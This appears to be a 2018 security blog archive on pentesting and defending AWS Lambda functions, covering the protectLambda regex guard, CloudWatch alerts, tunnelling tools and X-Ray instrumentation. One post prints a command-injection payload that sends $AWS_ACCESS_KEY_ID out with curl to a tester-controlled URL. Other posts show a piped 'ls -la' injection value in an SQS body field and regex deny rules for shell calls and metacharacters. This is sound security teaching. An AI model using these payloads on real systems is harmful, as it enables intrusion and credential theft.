Tuesday, October 9, 2018

Runtime Lambda Protection (Part 3) – "Self-Inspection"

Serverless functions, like AWS Lambda, are uniquely placed and transient in nature. These functions need a non-standard approach for both pentesting as well as defense. In the past blogs, we have covered the following two aspects for protecting lambda functions using the 'protectLambda' utility of the 'lambdaScanner' toolkit (can be downloaded from here).

1.    Runtime Lambda Protection – "Self Defense" from Inside (here)
2.    Runtime Lambda Protection (Part 2) – Monitoring, Analytics and Alerts (Real-Time) (here)

In this blog, we will be describing an enhancement of the 'protectLambda' utility through which we can validate the code of the lambda function just before its execution and allow/deny the execution of the function on the results of this validation. We can define a regular expression to check for loopholes in the code of the lambda function – every time the code would be checked against this regex and the execution of the function would be denied if a security violation is detected in the code. Below is a basic diagram of how the module of the 'protectLambda' utility will be placed in the overall architecture of the application; right before the execution of the function.

 

 

Leveraging "code_protect" Module:

In order to leverage this module, one needs to include the 'protectLambda' utility to their project. 'protectLambda' will wrap around the lambda function and monitor both incoming events as well as outgoing steams (described in earlier blog posts) and check the code of the function, at runtime, before its execution. This can be achieved by defining a regex in the file called "code_protect.txt" as shown in the figure below: -



One can define a set of rules, via regex, which will get validated before execution of the function at runtime. Hence, it will be like performing SAST at runtime.

For example, we define the following rule in "code_protect.txt": -

.*(call|check_output|system|popen|run|local|spawn).*\(.*

This rule will not allow the developer to use API/code, which can be used to run underlying command execution. We are covering most of the combinations of calls via above regular expression.

Let’s assume we have a function where developer is using the following line of code.

filetype = subprocess.check_output(command,shell=True).decode("utf-8")

Now, we have added the 'protectLambda' utility to the lambda function as shown below: -

 

If we try to invoke the lambda function now, we will get the following response: -

Response:
"Security Violation..."


Request ID:
"e9b59241-cbb5-11e8-ac44-058b44f83258"

Function Logs:
START RequestId: e9b59241-cbb5-11e8-ac44-058b44f83258 Version: $LATEST
Code Rule violation for  .*(call|check_output|system|popen|run|local|spawn).*\(.*
END RequestId: e9b59241-cbb5-11e8-ac44-058b44f83258
REPORT RequestId: e9b59241-cbb5-11e8-ac44-058b44f83258    Duration: 88.89 ms    Billed Duration: 100 ms     Memory Size: 128 MB    Max Memory Used: 22 MB  

Outcome/response of the function execution was as below: -

Response:
"Security Violation..."


We got a security violation alert since the developer has violated the rules of coding (according to the defined regex) and dangerous APIs/calls are used. In this case, we will also see the following line in the log: -

START RequestId: e9b59241-cbb5-11e8-ac44-058b44f83258 Version: $LATEST
Code Rule Violation for .*(call|check_output|system|popen|run|local|spawn).*\(.*

In this way, the 'protectLambda' utility protects the execution of the function if the code is vulnerable using the rules defined through "code_protect.txt". Similar protection for the incoming event stream and outgoing responses through "in_protect.txt" and "out_protect.txt" respectively was discussed in an earlier blog post.

Conclusion:


The nature of lambda functions and the method through which the functions are triggered make the traditional defense solutions inappropriate for serverless functions. So, as the first line of defense, the 'protectLambda' utility can guard against the code of the function, incoming stream of events as well as outgoing responses through a pre-defined set of rules. This defense technique along with a proper logging and monitoring mechanism would be a comprehensive approach for the protection of lambda functions at run-time.

Article by Amish Shah and Shreeraj Shah

Friday, September 21, 2018

Runtime Lambda Protection (Part 2) – Monitoring, Analytics and Alerts (Real-Time)

In the last blog, we discussed about how traditional defense solutions are not sufficient for protection of lambda functions and how 'protectlambda', a small utility from the 'lambdaScanner' toolkit, can be used to guard incoming as well as outgoing stream through a set of predefined rules. Please refer to http://blog.blueinfy.com/2018/09/runtime-lambda-protection-self-defense.html (here) for more details. 

In this blog post, we are going to build over the 'protectLambda' function to set up a strong real time monitoring, analytics and alerts capability using Amazon CloudWatch. Amazon CloudWatch, a component of AWS that collects monitoring and operational data in form of logs, metrics, graphs and events, provides a unified view for AWS resources and applications running on AWS infrastructure. Moreover, CloudWatch allows to customize and set filters, triggers, alarms to troubleshoot issues and take automated actions. As shown in the below figure, all these functionalities can be leveraged to set up real time analysis of the lambda functions.


As discussed in the last blog post, we can introduce the 'protectLambda' utility for lambda functions, define a set of rules for the event stream and the outgoing stream and then monitor and track the logs for rule violations using CloudWatch. A customized dashboard can be created to monitor logs based on filters, correlate logs and metrics, view data in graphs and set alerts with CloudWatch alarms. This dashboard can then be leveraged for real time monitoring of the attacks on lambda functions and for checking how these attacks are blocked by the 'protectLambda' utility. Alarms and notifications can be configured to inform the team of attack on lambda functions and violations of pre-defined rules.

Below is an example for creating a dashboard by defining basic filters, graphs and alarms: -

1.    Setting up Metric Filters on lambda function logs

We can define filters, using the Logs Metric Filter, for specific log groups. In this case, we are creating a filter for the records logged from the 'protectLambda' function (the function added to protect the incoming and outgoing stream of the lambda functions through a set of predefined rules). The 'protectLambda' function blocks the event stream and outgoing response according to a defined regex and logs a "Violation" entry as and when it blocks something. Thus, we define a filter for the word "Violation" which will keep tracking for the word "violation" in this group of logs. This metrics can later be plotted on a graph.

 

2.    Build Dashboard and Graphs

The metrics from the above filter can be plotted on a graph as shown below. The graph show the number of instances of violations defended by the 'protectLambda' utility.



3.    Setup Alarms, Alerts and Notification

We can create attack notification alarms for the created metric filters as shown below. In this case, we have created an alarm for the filter 'protectLambda' which looks for the word "violation" in the selected log group.


We can define a rule where an alarm notification will be triggered as soon as we get one instance of attack in a specific window of 5 minutes.

 

Thus, we can see that as soon as a lambda function is attacked and 'protectLambda' defends an attack on the function we get a notification on our dashboard.

 

We can also configure to receive these notifications in email or on the CloudWatch mobile application as shown below.

(email notification and alert)


(mobile app)
 
Looking at the inbuilt capabilities of CloudWatch, there is no need to set up and create a dashboard on a different domain. The provided functionalities can be easily leveraged to monitor the lambda functions, analyse logs in real time and in turn perform the required actions depending on the analysis.

Tuesday, September 11, 2018

Runtime Lambda Protection – "Self Defense" from Inside

Brief:

Serverless functions, like AWS Lambda, are transient, temporary and do not have traditional defenses like WAF/IPS/IDS/RASP. Moreover, these functions are not always invoked through API gateway over HTTP(S), where one can provide defenses like WAF to filter for malicious payloads. Lambda functions consume “events” coming from various sources like S3, DynamoDB, SQS etc. (as shown in the below figure). Hence, there are no frontline defenses for these functions. These functions must be protected from "inside" rather than having defenses from outside. They should have self-defense abilities embedded in the function itself.  In this blog, we are going to cover this type of self-defending techniques for Lambda functions.

Problem & Challenges:

Lambda functions have two important aspects – "event consumption" and "response to specific events". It is imperative to build strong event processing and filtering capabilities before the event stream (payload) hits the actual function. Hence, if any malicious payload is being injected to the stream then it gets isolated and disconnected from actual lambda function. This is the first and foremost defense one needs to provide to the lambda function, from inside without trusting any outside defenses.

Secondly, in cases where an attack is successful and the functions are compromised, it may lead to sensitive data disclosure through "outgoing stream". These outgoing responses and streams must be protected and blocked from "inside". A "post exploitation" scenario would include permission controls, invoking other channels like pushing data out on a network, spinning another process to advantage etc., providing controls for “post exploitation” scenario would be not fruitful and can be bypassed in some cases. One should be focused on securing the event stream rather than waiting for the exploit to hit the function. We have seen many defensive controls come into play during exploitation phase and they can be bypassed in one or the other way. Hence, it is always advisable to protect the function from inside, for vulnerabilities, rather than taking care of exploit scenarios.

 

Solution:

One can achieve protection for the event stream as well as outgoing stream information leakage by wrapping lambda function without changing the actual code. It is very simple - one can use a regex to build effective rules to guard against known vulnerabilities. The same wrapping code can be used to enhance and build many other validations like data type, length, characters etc. Also, as an extra defense one can block all possible patterns of malicious payloads which are well known for years.

Introducing 'protectLambda':

As part of the 'lambdaScanner' toolkit (for python), there is a small utility called 'protectLambda'. It helps in building a solid defense against vulnerabilities, by leveraging regex, in a simple and effective way. The working of the 'protectLambda' function is shown in the below figure. 'protectLambda' sits before the actual lambda function and keeps a watch on both incoming and outgoing streams. One can have a predefined set of rules in place and based on those rules, any attack coming to the lambda function would get blocked.


 


Let’s look at its implementation. One can leverage this utility or build a similar component for lambda functions. This same idea can be applied to other lambda technology stacks as well.

Vulnerable Lambda Function and Command Injection:

Here is an invoice processing system, which is taking event from SQS in the below format (let’s store it in the "event.txt" file). This SQS message is coming through the end user through various different applications as described in previous blogs.

{
  "Records": [
    {
      "body": "invoice-98790",
      "receiptHandle": "MessageReceiptHandle",
      "md5OfBody": "7b270e59b47ff90a553787216d55d91d",
      "eventSourceARN": "arn:aws:sqs:us-east-2:123456789012:MyQueue",
      "eventSource": "aws:sqs",
      "awsRegion": "us-east-2",
      "messageId": "19dd0b57-b21e-4ac1-bd88-01bbb068cb78",
      "attributes": {
        "ApproximateFirstReceiveTimestamp": "1523232000001",
        "SenderId": "123456789012",
        "ApproximateReceiveCount": "1",
        "SentTimestamp": "1523232000000"
      },
      "messageAttributes": {}
    }
  ]
}


We can invoke this function by using the 'scanLambda' component from the 'lambdaScanner' toolkit or by any other means.

bliss$python3 scanLambda.py -i -f protect -e ./events/event.txt

==============================================================
scanLambda - Lambda Scanner Script (beta)
(c) Blueinfy solutions pvt. ltd.
==============================================================

(+)Configuring Invoking ...
    (-) Loading event from file ...
    (-) Request Id ==> 53fd2b95-b331-11e8-866c-07f43ff67f8a
    (-) Response ==>
    (-) "Invoice processing done! [Debug:./tmp/invoice-98790: ASCII text, with no line terminators\n]"
    (-) Log ==>START RequestId: 53fd2b95-b331-11e8-866c-07f43ff67f8a Version: $LATEST
END RequestId: 53fd2b95-b331-11e8-866c-07f43ff67f8a
REPORT RequestId: 53fd2b95-b331-11e8-866c-07f43ff67f8a    Duration: 74.64 ms    Billed Duration: 100 ms     Memory Size: 128 MB    Max Memory Used: 22 MB    


Following line is the response from the function: -

(-) "Invoice processing done! [Debug:./tmp/invoice-98790: ASCII text, with no line terminators\n]"

We get "Debug" info, which is just for education/dummy purpose. The content from debug information (in this case, we got ASCII) suggests that some kind of command like "file" which is used to fetch type of the file-content is run.

Now, let’s inject the below message which is vulnerable to command injection. (It was covered in detail in the past blogs)

{
  "Records": [
    {
      "body": "invoice-98790|ls -la",
      "receiptHandle": "MessageReceiptHandle",
      "md5OfBody": "7b270e59b47ff90a553787216d55d91d",
      "eventSourceARN": "arn:aws:sqs:us-east-2:123456789012:MyQueue",
      "eventSource": "aws:sqs",
      "awsRegion": "us-east-2",
      "messageId": "19dd0b57-b21e-4ac1-bd88-01bbb068cb78",
      "attributes": {
        "ApproximateFirstReceiveTimestamp": "1523232000001",
        "SenderId": "123456789012",
        "ApproximateReceiveCount": "1",
        "SentTimestamp": "1523232000000"
      },
      "messageAttributes": {}
    }
  ]
}


In the above message, we injected the following: -

"body": "invoice-98790|ls -la",


We have piped the invoice filename with "ls –la" command. Let’s invoke the function (using the 'scanLambda' component): -

bliss$python3 scanLambda.py -i -f protect -e ./events/event.txt

==============================================================
scanLambda - Lambda Scanner Script (beta)
(c) Blueinfy solutions pvt. ltd.
==============================================================

(+)Configuring Invoking ...
    (-) Loading event from file ...
    (-) Request Id ==> 6e578940-b331-11e8-bf9a-836686cf50ac
    (-) Response ==>
    (-) "Invoice processing done! [Debug:total 6\ndrwxr-xr-x  4 root root  118 Sep  8 06:33 .\ndrwxr-xr-x 22 root root 4096 Sep  8 05:23 ..\n-rwxr-xr-x  1 root root   14 Sep  8 06:33 in_protect.cfg\n-rw-r--r--  1 root root  354 Sep  8 06:26 lambda_function.py\n-rw-rw-r--  1 root root    9 Sep  8 06:25 out_protect.cfg\ndrwxr-xr-x  2 root root   33 Aug 21 16:37 protectLambda\ndrwxrwxr-x  2 root root   36 Sep  8 05:55 tmp\n]"
    (-) Log ==>START RequestId: 6e578940-b331-11e8-bf9a-836686cf50ac Version: $LATEST
END RequestId: 6e578940-b331-11e8-bf9a-836686cf50ac
REPORT RequestId: 6e578940-b331-11e8-bf9a-836686cf50ac    Duration: 68.29 ms    Billed Duration: 100 ms     Memory Size: 128 MB    Max Memory Used: 22 MB


Hence, the command is being executed and we can see the following output: -

(-) "Invoice processing done! [Debug:total 6\ndrwxr-xr-x  4 root root  118 Sep  8 06:33 .\ndrwxr-xr-x 22 root root 4096 Sep  8 05:23 ..\n-rwxr-xr-x  1 root root   14 Sep  8 06:33 in_protect.cfg\n-rw-r--r--  1 root root  354 Sep  8 06:26 lambda_function.py\n-rw-rw-r--  1 root root    9 Sep  8 06:25 out_protect.cfg\ndrwxr-xr-x  2 root root   33 Aug 21 16:37 protectLambda\ndrwxrwxr-x  2 root root   36 Sep  8 05:55 tmp\n]"


Deploying 'protectLambda' against Command Injection:

Here, we have a potential command injection. Now, let’s secure it with 'protectLambda' utility. To achieve it, include 'protectLambda' as part of your project as shown below or as part of your package zip for AWS. There is no need to change the code as such.

 

Once it has been added, you can go ahead and add two lines to the lambda function as shown below: -

--------
from protectLambda.protect import protect


@protect
def lambda_handler(event, context):



The added lines can be seen in the lambda function on AWS: -




Now, let’s add a rule for all incoming event streams. For example: - we can have this simple rule - .*[|;<>&%*#].* - which blocks a list of malicious characters listed between square brackets[ ]. For a successful command injection, one needs to leverage one of these characters. One can add any rule that fits the criteria to the "in_protect.txt" file.




Once loaded, it starts blocking malicious characters from the event stream. One can enter rules for specific to parameters as well. For example: - the below rule will search specifically in the "body" parameter which is sent in the message. In our case also, we are more interested in this parameter.

".?body.*:.*".*[|;&<>*].?"

Once the rule is entered, we try to invoke the function with the same malicious payload as before: -

bliss$python3 scanLambda.py -i -f protect -e ./events/event.txt

==============================================================
scanLambda - Lambda Scanner Script (beta)
(c) Blueinfy solutions pvt. ltd.
==============================================================

(+)Configuring Invoking ...
    (-) Loading event from file ...
    (-) Request Id ==> 1affd2d8-b332-11e8-861c-89d1677e2525
    (-) Response ==>
    (-) "Security Violation..."
    (-) Log ==>START RequestId: 1affd2d8-b332-11e8-861c-89d1677e2525 Version: $LATEST
Input Rule violation for  .*[|;<>&%*#].*
END RequestId: 1affd2d8-b332-11e8-861c-89d1677e2525
REPORT RequestId: 1affd2d8-b332-11e8-861c-89d1677e2525    Duration: 0.98 ms    Billed Duration: 100 ms     Memory Size: 128 MB    Max Memory Used: 21 MB    


Bingo! As we can see, the event is blocked and could not touch the actual lambda function; it is being rejected before it gets into the function. We end up getting the following message: -

(-) "Security Violation..."

Also, if we look in the CloudWatch logs, we can see the following line: -

Input Rule violation for  .*[|;<>&%*#].*


It is important to have proper logging mechanisms in place. One can go ahead and setup a trigger with rules such that this message is sent, to the configured email address/phone number, immediately through email or SMS. One can quickly take action against IP address or setup more monitoring on the function if needed.

This is the way we can achieve "defense from inside". We can apply multiple rules as well and protect the function from various possible attack vectors.

Deploying 'protectLambda' for Outgoing Stream (Information Leakage):

As we leveraged the 'protectLambda' function to protect against incoming payloads, it can be used to protect the outgoing stream using the "out_protect.txt" file as shown below. It is equally important to protect the information going out through error messages, debug information or post exploitation harvesting.

 

Here, we just added a rule to block if "debug" information is sent in the outgoing stream. After adding the rule, we invoke the function as we did earlier: -

bliss$python3 scanLambda.py -i -f protect -e ./events/event.txt

==============================================================
scanLambda - Lambda Scanner Script (beta)
(c) Blueinfy solutions pvt. ltd.
==============================================================

(+)Configuring Invoking ...
    (-) Loading event from file ...
    (-) Request Id ==> 8b9175cd-b333-11e8-ab42-e9c542af285d
    (-) Response ==>
    (-) "Security Violation..."
    (-) Log ==>START RequestId: 8b9175cd-b333-11e8-ab42-e9c542af285d Version: $LATEST
Output Rule violation for  .*debug.*
END RequestId: 8b9175cd-b333-11e8-ab42-e9c542af285d
REPORT RequestId: 8b9175cd-b333-11e8-ab42-e9c542af285d    Duration: 45.06 ms    Billed Duration: 100 ms     Memory Size: 128 MB    Max Memory Used: 21 MB    


Bingo! We can see the following message: -

(-) "Security Violation..."


If we go and check the CloudWatch logs then we can find the following line as well: -

Output Rule violation for  .*debug.*


Hence, this way the outgoing stream is also protected by the utility.

Conclusion:

The nature of lambda functions is such that various sets of payloads can be injected by manipulating the event streams. As it is not necessary that the lambda functions would always be triggered by an API gateway though HTTP(s), it would not be possible to deploy traditional defense solutions for lambda functions. Thus, the use case scenario of the lambda functions makes it imperative to use strong defense techniques from "inside" for incoming as well as outgoing streams. As the first line of defense, 'protectLambda' can guard both incoming as well as outgoing streams through a set of predefined rules. This is also a practical solution from its model perspective, as having a protection where every request makes a call over a network and gets validated at a central place would break the whole idea or model of serverless functions. Thus, defense techniques integrated with the lambda function itself along with proper logging mechanisms seems to be a correct approach. This way, we can achieve lambda function's runtime protection by providing self-defense from inside, independent from any other system/application/program/services.

Article by Amish Shah and Shreeraj Shah

Friday, September 7, 2018

Leveraging tunnelLambda with pentesting tools for serverless function testing

One of the challenges for lambda function testing is to incorporating and integrating traditional effective tools like netcat, burp proxy or sqlmap. These tools runs on HTTP(S) pipes while lambda function's events can be coming from any where without HTTP pipe. Hence, one can leverage tool like tunnelLambda while performing pentesting. It is part of our scanLambda toolkit (Here - http://blog.blueinfy.com/p/blog-page.html).

It is very simple as shown below. It establishes tunnel between your target lambda function and your specific tool on localhost/port.



'tunnelLambda' helps in establishing a tunnel from your shell to a targeted lambda function. It helps in sending HTTP traffic to the selected port, which will automatically tunnel to the test function. Hence, now we can use some standard HTTP tools like netcat, sqlmap, Burp or ZAP to test the lambda function.


Once it is set, the script will listen on the target port for both GET and POST requests as shown below: -



When you make a GET request it will serve a simple HTML page which can be used to interact with the lambda function as shown in the below figure. We can just open the page in a browser, put the event stream and click on "Send" button. It will show the output once it is invoked.



Also, now we can use tools like netcat, burp, sqlmap or any other tool to make a POST request directly. Here is our HTTP request,

$ cat sqltest.txt
POST / HTTP/1.1
Host: localhost:8888
Content-Length: 17

{"name":"john"}


We can push it to netcat,

$ cat sqltest.txt | nc localhost 8888
HTTP/1.0 200 OK
Server: BaseHTTP/0.6 Python/3.6.4
Date: Fri, 07 Sep 2018 03:04:41 GMT
Content-type: application/json

{"id": "1239873"}


We can start running sqlmap as well.

$ python sqlmap.py -r ../sqltest.txt
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.2.9.6#dev}
|_ -| . [)]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 08:37:00

[08:37:00] [INFO] parsing HTTP request from '../sqltest.txt'
JSON data found in POST data. Do you want to process it? [Y/n/q] Y
[08:37:05] [INFO] testing connection to the target URL
[08:37:07] [INFO] testing if the target URL content is stable
[08:37:09] [INFO] target URL content is stable
[08:37:09] [INFO] testing if (custom) POST parameter 'JSON name' is dynamic




We need to configure the details in Burp repeater as shown below:

 

Once it is set, we can make the call as shown below:

 

Next, we can simply send the request to intruder and run attacks as shown below:



Hence, this allows us to quickly leverage all popular tools against lambda functions.

Article by Hemil Shah


Tuesday, September 4, 2018

lambdaScanner - Scan and Secure serverless lambda functions

'lambdaScanner' is a toolkit which has a combination of scripts for performing penetration testing of lambda functions. The scripts available in the toolkit help assessing the lambda functions from a security standpoint. It helps the tester to discover vulnerabilities in deployment as well as code. It aids in checking vulnerabilities like improper permissions, SQL injections, command executions etc. to name a few. This is not an automated scanner, but a toolkit that helps pen-testers to perform the testing of functions, so it needs to be used wisely by crafting customized requests and payloads. The lambda functions are invoked through various events encompassing AWS like S3, DynamoDB, SQS etc. so the scripts in the toolkit are very helpful in evaluating functions as well as directly testing with various sets of payloads. All these scripts are written in python by using boto3 APIs. The toolkit also has a package called 'lambdaProtect' which can be integrated with an existing lambda function to guard both incoming event stream as well as outgoing response.

This toolkit is "in progress/prototype" and would be enhanced with time by an addition of various functionalities.

Here is a diagram, which describes 'lambdaScanner': -

 

For more detail please visit - here

URL - http://blog.blueinfy.com/p/blog-page.html

Friday, August 24, 2018

Lambda Event Assessment and Pentesting – Invoke, Trace and Dissect (Part 3)

In the last two blog posts, we covered an approach of pentesting lambda functions, using DAST and SAST methodologies, by footprinting, enumerating, scanning and tracing lambda functions to discover and verify security vulnerabilities. In this blog post, we will leverage instrumentation/IAST (Interactive Application Security Testing) approach to analyse and test lambda functions. This approach involves analysing the application behaviour at run time and then using DAST for inducing attacks. Also, a combination of DAST, SAST and IAST can be used to get a comprehensive view of the application, even at run time, and then discover and confirm vulnerabilities.

Below is a figure outlining the architecture of an application using lambda functions with sensors added to the code before performing a pentest of the application/lambda functions: -

 

 

Leveraging AWS X-Ray SDK/APIs:

 

X-Ray is a service provided by AWS to analyse the integration of lambda functions and perform debugging across lambda functions and other points of interest by request tracing, exception collection and profiling capabilities. It is described as following on AWS (https://aws.amazon.com/xray/): -

“AWS X-Ray helps developers analyze and debug production, distributed applications, such as those built using a microservices architecture. With X-Ray, you can understand how your application and its underlying services are performing to identify and troubleshoot the root cause of performance issues and errors. X-Ray provides an end-to-end view of requests as they travel through your application, and shows a map of your application’s underlying components. You can use X-Ray to analyze both applications in development and in production, from simple three-tier applications to complex microservices applications consisting of thousands of services.“

This helps in getting a map, but from a pentesting perspective we are more interested in putting hooks and sensors into the lambda code. We can do this using X-Ray SDK (https://docs.aws.amazon.com/xray/latest/devguide/xray-services-lambda.html).

X-Ray Sensors using Python:

 

Let’s try to do it using a python SDK. We can integrate X-Ray into our lambda code base as shown below: -



We can also patch all inherent components, which are supported by X-Ray. As shown in the above figure, we can create a recorder and use a decorator provided by the library with adding a line, before the lambda function, starting with “@”. Once this line is added we can start inserting sensors for fetching runtime information. Let’s add some annotation and metadata: -

 

In the above code, we are defining a sub-segment with an annotation and then using the defined annotation as our sensor. Hence, we can start recording the runtime values before or after interesting the API calls. In the above case, we are recording the "command" variable before it goes to its sub-process. All these interactions will get recorded at runtime by X-Ray services in the logs.

Now, after invoking the function, when we go and see the X-Ray logs (as shown in the below figure) we see the execution time for each function is logged and we see that the function is not calling any other AWS component like S3, DynamoDB, SQS etc.: -

 

In the below figure, we see the "lambda" sub-segment values in the logs according to the defined annotations and sub-segments: -


 We can also see full metadata with the event we pushed in the record as shown below: -

 

In this way, we can inject a payload and see our injected payload go through to initiate a successful command injection after the function is invoked (a detailed process of this was explained in the last blog post).

Instrumentation without AWS X-Ray:

 

Apart from AWS X-Ray, we can also use other available tools for debugging purpose. For example, let’s use the following package (https://github.com/mihneadb/python-execution-trace) to get a runtime variable dump along with the executed code.

The code provided in the package can be modified and added to the lambda function as shown below: -

 

We get its @record and it will print the log to CloudWatch using a simple "print" function.
We can see the following log in our CloudWatch console: -

 

We get a full dump of all the variables with line numbers. Also, we can see how values are changing in runtime line-by-line execution. Hence, it can have much more valuable information for the analysis needed to detect a vulnerability.

Apart for third-party tools that are available we can also define our own decorator function, to record events as well as output, in python, which we can leverage for instrumentation as shown below: -

 

We define a function "instrument", which we can add before our actual lambda function in our python code as shown below: -

 

At the point of execution, we can see these entries in our CloudWatch logs: -

 

In this way, we can add multiple "print" functions in between the code and use something like "locals()" to dump runtime variables as well.

360 Degree – DAST, SAST and IAST

 

We can implement the following strategy to get a 360 degree view of the lambda function.
  1. We can scan the code to identify some interesting API calls which can directly be mapped to vulnerabilities like command injection, SQL injections etc. and monitor those specific calls. (SAST)
  2. We can inject sensors by using AWS X-Ray, at interesting places, before or after the call and record the values going to the API. (IAST)
  3. We can then invoke the lambda function and fuzz the event stream with customized payloads. (DAST)
  4. All the events will be recorded in the logs as per the injected sensors and we will have the data to be analysed. By analysing this data, as well as the output of the invoked functions we will be able to detect and confirm a vulnerability. Moreover, this information would also aid in crafting exploits for the detected vulnerability.

Conclusion:

A most common use case scenario of lambda functions involves asynchronous functions, where there is no output coming back to the tester. This makes vulnerability confirmation difficult for the tester. Thus, IAST/Instrumentation is a very interesting and more or so an imperative approach to pentesting lambda functions. There are multiple tools and approaches that can be deployed for instrumentation. Moreover, a combination of all the three approaches, DAST, SAST and IAST, would save a lot of effort and would help in detecting a vulnerability with much more precision. It would help avoid unnecessary guesswork and focus on identifying pointers, doing a run time analysis, crafting customized payloads with correct test cases and analysing the logs to detect loopholes in the application from a security standpoint.

Article by Amish Shah & Shreeraj Shah

Monday, August 20, 2018

Lambda Event Assessment and Pentesting – Invoke, Trace and Dissect (Part 2)

In the last blog post, we talked about the basic methodology for lambda testing where we covered enumeration, profiling and invocation. We can do a quick fuzzing of the lambda function by passing a set of payloads. Lambda functions can be used to build micro services, which get incorporated into the web applications as part of the architecture. These functions can be called in both synchronous as well as asynchronous manners depending on the architectural requirement. In this blog post, we are going to cover another aspect of testing lambda functions  which mainly compromises of  leveraging CloudWatch logs while performing penetration testing.

Architecture of Application with Lambda:

 

Let’s take a real life scenario as shown in the below figure. In this case, there is a web application (enterprise financial application) that is used from various devices like mobile or computers across the globe. API's are also used to extend the use of the application such that it can be leveraged by third party like suppliers, vendors, customers etc. As shown in the application architecture, various AWS components are used by the web application.


Figure 1 – Invoice Processing System for a Financial Application

Let’s take a simple use case scenario:
  • The users of the application submit an invoice for processing through the web or API where they perform various activities like uploading a file, providing the file name, other basic information etc.
  • The web application in turn calls the lambda function which triggers the activities across the AWS components (Amazon S3 and DynamoDB)
  • Once everything is in place, based on scheduling, the message gets posted to Amazon SQS service for asynchronous processing
  • At some point in time, SQS triggers the second lambda function via queue to process the invoice. This queue provides the invoice file to the lambda function which processes the invoice. It does the needful and gets the task done.
If we look at the threat model for the above components, one of the important areas to check is the asynchronous lambda function, which is processing the SQS message.

Let’s do the testing of that function and see what kind of issues we can discover.

Function Integration with other Services:

We can go ahead and enumerate the function details as mentioned in the last blog post. We get the following response and profile for the function. We get basic information like technology stack, permissions, role, code and mapping.



We can see this function is being integrated to SQS service. Here is its mapping:-

---Function Mapping---
[{'UUID': '5cc9f6a9-2b39-41df-9d09-e7adbf3d9305', 'BatchSize': 10, 'EventSourceArn': 'arn:aws:sqs:us-east-2:313588302550:processInvoice', 'FunctionArn': 'arn:aws:lambda:us-east-2:313588302550:function:processInvoice', 'LastModified': datetime.datetime(2018, 8, 10, 15, 32, 32, 867000, tzinfo=tzlocal()), 'State': 'Disabled', 'StateTransitionReason': 'USER_INITIATED'}]


Hence, we can start injecting messaging or SQS events to this function and see how it responds. Before that let’s take a quick look at the AWS console. Here is the SQS position on the AWS console at a given point in time.



We can look at the log for the lambda function for which the trigger is being set for the queue.
 

We can clearly see the event being fired and the message received and processed by the function.

Testing the Function and Tracing:

We can now directly test the function by supplying various values, which are controlled by the user. Below is a sample of the event body. The “body” is controlled by the user, which makes it an interesting area to fuzz.

{
  "Records": [
    {
      "body": "invoice-98790",
      "receiptHandle": "MessageReceiptHandle",
      "md5OfBody": "7b270e59b47ff90a553787216d55d91d",
      "eventSourceARN": "arn:aws:sqs:us-east-2:123456789012:MyQueue",
      "eventSource": "aws:sqs",
      "awsRegion": "us-east-2",
      "messageId": "19dd0b57-b21e-4ac1-bd88-01bbb068cb78",
      "attributes": {
        "ApproximateFirstReceiveTimestamp": "1523232000001",
        "SenderId": "123456789012",
        "ApproximateReceiveCount": "1",
        "SentTimestamp": "1523232000000"
      },
      "messageAttributes": {}
    }
  ]
}


We can use the following code to invoke the function where the event is taken from the file.

 

We get the following output

(+)Configuring Invoking ...
    (-) Loading event from file ...
    (-) Request Id ==> 9dc6aa67-9f9b-11e8-924a-99f63ade1b6b
    (-) Response ==>
    (-) "Invoice processing done!"


We can use the Request Id to trace the log and see what went behind the scene. Let’s use the following code and enumerate CloudWatch logs for the call.



We can pass on the function name and see the results. We can see the last entries and can compare it with the Request Id. Here is the entry for that Request Id: -

 

We can fuzz stream and try different things here and analyse the responses. For example we pass on the following message: -

{
  "Records": [
    {
      "body": "junkname",
      "receiptHandle": "MessageReceiptHandle",
      "md5OfBody": "7b270e59b47ff90a553787216d55d91d",
      "eventSourceARN": "arn:aws:sqs:us-east-2:123456789012:MyQueue",
      "eventSource": "aws:sqs",
      "awsRegion": "us-east-2",
      "messageId": "19dd0b57-b21e-4ac1-bd88-01bbb068cb78",
      "attributes": {
        "ApproximateFirstReceiveTimestamp": "1523232000001",
        "SenderId": "123456789012",
        "ApproximateReceiveCount": "1",
        "SentTimestamp": "1523232000000"
      },
      "messageAttributes": {}
    }
  ]
}


We invoke the function and see a different response.

(+)Configuring Invoking ...
    (-) Loading event from file ...
    (-) Request Id ==> f9e61f20-9f9d-11e8-99aa-59c2b3fe1ba2
    (-) Response ==>
    (-) "Invoice processing done!"

We can see entries in the log.

 

Looks like it is trying to open the file. Now, we can try using different variations and try to figure out the vulnerability. In the previous legitimate request, we saw a line where it returned file’s content type. Hence, it may be using some underlying OS command to fetch the file content type. We try to do command injection here and see what response we get. Since, we are not getting synchronous response with some message back - we can try injecting following the command: –

Invoice-98790;url='https://API-ID.execute-api.us-east-2.amazonaws.com/listen?dump='$AWS_ACCESS_KEY_ID;curl $url


Here, we are passing the URL and trying to extract the AWS access key. Once it is extracted, we use cURL to send the URL to a different location. We can go and see the logs and see the response since that URL is controlled by us. If the command gets executed successfully then we know it is indeed vulnerable.

Here is the message event we try to inject.

 

We have a listener mock over the target URL. It will collect the information if the command gets successfully executed. Let’s invoke the function and monitor the API logs -

 

Hence, this way the vulnerability is detected. We can see the code and find the following line using standard SAST approach as well.

 

Conclusion:

Lambda function testing is relatively simple when we focus on fuzzing the event and injecting the payload directly through AWS APIs. It is imperative to identify threat points and fuzz with the right payloads at the right place. Some of these events are not synchronous and are triggered in various different ways, so it is not possible to simulate them like an actual event fired from different sources. It is easy to do direct simulation like we did in the above case. Also, there are different data collection points for AWS function - we have covered DAST and SAST in this case. We can leverage IAST/instrumentation via X-Ray or other methods provided by specific languages, which will be covered  in the coming blog post.
Article by Amish Shah & Shreeraj Shah